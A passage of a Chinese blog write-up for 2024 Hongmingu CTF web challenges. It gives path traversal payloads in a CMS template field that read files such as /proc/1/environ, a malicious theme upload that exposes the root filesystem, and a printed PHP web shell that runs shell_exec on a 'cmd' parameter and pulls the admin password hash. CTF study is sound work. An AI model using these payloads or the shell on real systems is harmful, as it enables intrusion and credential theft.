2024红明谷杯部分WP_netpixeljihad(1)

最新推荐文章于 2024-05-05 15:39:56 发布

2401_83974064

最新推荐文章于 2024-05-05 15:39:56 发布

阅读量902

点赞数 15

CC 4.0 BY-SA版权

分类专栏： 2024年程序员学习文章标签：安全 web安全网络

本文链接：https://blog.youkuaiyun.com/2401_83974064/article/details/137639433

本文详细解析了网络安全挑战，包括Dreamer_revenge、hacker、阿尼亚和X光的秘密等，涉及文件读取、数据库解密、图片隐藏信息提取等多个环节。通过分享解题过程，介绍了学习网络安全的成长路线、视频教程、书籍、源码和面试题等资源，旨在帮助网络安全爱好者系统学习和提升技能。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

考虑一下使用后台设置栏目存在任意文件读取漏洞看看能不能读取flag
点击左侧栏中的“栏目/文章”选项进入到栏目管理，新建顶级栏目，创建一个命名为测试的顶级栏目。

在封面模版处，添加路径为：
../../../../../../../../../../flag

点击保存，访问前台，重新访问对应的顶级栏目，得到flag

0x02 Dreamer_revenge

跟上一个题一样
第一种思路是跟上一个题目一样，只不过把访问的文件改成../../.../../../../proc/1/environ

第二种思路是利用后台模板管理可以任意编辑的漏洞
先把default_v2目录复制一份，修改成default_v3。
修改其中的theme.json文件。将其中的themePath值修改成../../../../../../../../../../../../../../

然后打包default_v3成default_v3.zip，到后台风格管理处上传zip文件并启用主题。

此时再去访问模版管理即可从根目录访问所有文件

跟之前一样，访问/proc/1/environ，即可找到flag

0x03 hacker

<?php $servername="127.0.0.1";
$username="root";
$password="123456";
$dbname="zentao";
$conn=new PDO("mysql:host=$servername;dbname=$dbname",$username,$password);
$conn->setAttribute(PDO::ATTR\_ERRMODE,PDO::ERRMODE\_EXCEPTION);
$stmt=$conn->prepare("SELECT password FROM zt\_user WHERE account=\'admin\'");
$stmt->execute();
$result=$stmt->fetch(PDO::FETCH\_ASSOC);
$conn=null;
$param=$\_GET["cmd"];
$password=$result["password"];
$output=shell\_exec($param);
$hex\_output=bin2hex($output);
$hex\_password=bin2hex($password);
$len\_output=strlen($hex